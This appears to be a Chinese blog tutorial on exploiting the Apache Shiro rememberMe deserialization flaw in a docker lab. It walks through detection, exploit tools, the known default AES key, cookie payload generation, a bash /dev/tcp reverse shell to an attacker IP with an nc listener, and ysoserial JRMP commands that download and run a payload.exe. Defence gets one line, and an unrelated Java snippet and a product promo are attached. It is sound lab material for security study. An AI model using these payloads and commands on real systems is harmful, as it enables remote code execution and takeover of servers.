Shiro简介

Apache shiro是 java 的一个安全框架。相对于Spring Security 可能功能没有那么强大,但是实际工作中用不到那么多,因此小而简单的shiro就足够了

ini配置文件

存放一些初始数据

可以理解为是一个 IoC/DI 容器,但是区别在于它从一个根对象 securityManager 开始。

漏洞原理

在登录框有一个 remember me(记住密码)的功能,用户的登录信息加密后存储在remember me的Cookie中。攻击者可以使用shiro默认密钥伪造用户Cookie,触发java反序列化漏洞,进而在目标机器上执行任意命令

cookie处理流程:cookie值 – Base64解码 – AES解密 – 反序列化

用了AES加密的密钥,此密钥被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥

payload构造

payload – 序列化 – AES加密 – Base64加密 – 发送cookie

环境搭建

方法一:

service docker start
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

请添加图片描述

请添加图片描述

方法二:

使用vulhub(专门搭建靶场环境的项目),在docker环境下直接搭建(参考fastjson)

git clone https://github.com/vulhub/vulhub.git		#下载vulhub
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d  								#启动该漏洞的环境

请添加图片描述

漏洞验证

Shiro特征:

  • 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
  • 不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
  • 勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段

方法一:

生成一个cookie脚本

img

使用shiro_key.py脚本获取密钥:

python shiro_key.py -u url

img

得到AES的密钥,替换payload生成脚本中的key

img

抓包替换cookie验证

勾选密码,抓包,替换cookie为 脚本生成的payload.cookie,发送数据包:

若dnsloh收到结果,则漏洞存在

方法二:

登录时,点击记住密码,利用burpsuite抓包验证,看返回结果是否有rememberMe=deleteMe

请添加图片描述

如果没有cookie字段,我们可以手动进行添加 cookie:rememberMe=1

漏洞利用方法一

版本 <= 1.2.4

软件下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

输入url

请添加图片描述

选择 dnslog.cn进行检测,然后点击下一步

请添加图片描述

漏洞利用方法二

基于 ysoserial-0.0.5-SNAPSHOT-all.jar

python 运行环境搭建

#需要导入包
pip install crypto
pip install pycryptodome
#安装完之后 python安装目录下的\Lib\site-packages,将crypto文件夹的名字改成Crypto。并检查Crypto中是否有Cipher 和 PublicKey
#若还有其他问题,请仔细检查源码中import引入 和 下载的包的名字对应关系,尤其是大小写问题

请添加图片描述

请添加图片描述

生成 cookie

首先看一下工具内容

payload.cookie是通过 shiro_poc.py 执行得到的

python shiro_poc.py "ping 192.168.1.106"      #IP是目标机的IP地址

请添加图片描述

替换cookie验证漏洞

请添加图片描述

替换cookie的值

请添加图片描述

替换后点击发送

请添加图片描述

反弹shell

攻击者:192.168.1.105

目标机:192.168.1.106

一个加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

由于Shiro是用base64加密后再用AES加密在传输数据的,因此要进行加密

bash -i >& /dev/tcp/192.168.1.105/4444 0>&1		#192.168.1.105是另外一台kali(攻击者)的IP

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1LzQ0NDQgMD4mMQk=}|{base64,-d}|{bash,-i}										#加密后的数据

重复上述操作 生成cookie 和 抓包替换cookie 的操作

python3 shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1LzQ0NDQgMD4mMQk=}|{base64,-d}|{bash,-i}"										#在攻击者的主机(192.168.1.105)上执行此命令

请添加图片描述

请添加图片描述

请添加图片描述

NC设置监听

注意分清楚 控制端与被控端

kali(目标机)和 攻击者要角色反转,kali(目标机)上执行的命令要主动发给攻击者

nc -lvnp 6666			#攻击者(192.168.1.105)开启监听

请添加图片描述

如果目标服务器是windows的话,不能一键反弹shell,可以先在windows主机上 下载一个exe木马(前提主机上要有ysoserial.jar)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'

漏洞利用方式三

基于 ysoserial.jar

其实和方法二是一样的,都是基于 ysoserial.jar 这个jar包,只是python脚本有些不同

需要导入包pip install cryptopip install pycryptodome#安装完之后 python安装目录下的\Lib\site-packages,将crypto文件夹的名字改成Crypto。并检查Crypto中是否有Cipher 和 PublicKey#若还有其他问题,请仔细检查源码中import引入 和 下载的包的名字对应关系,尤其是大小写问题
python shiro_exploit.py -u http://192.168.1.106/login.jsp -t 3 -p "ping -c 2 ycat1b.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="

found gadget 表示有漏洞,利用 CommonsCollections2

请添加图片描述

利用的话,可以采用 JRMP的方式。也可以根据检测出来的 gadge来进行利用。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'

防御

不要使用默认的key

总结

Set<String> set = new HashSet<String>();     //set 是一个String类型的集合String s1 = "hello";String s2 = "world";set.add(s1);set.add(s2);

gadget 是什么,后续怎么利用

后续采用 JRMP的方式利用,可在设置监听,反弹shell。

Logo

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。

更多推荐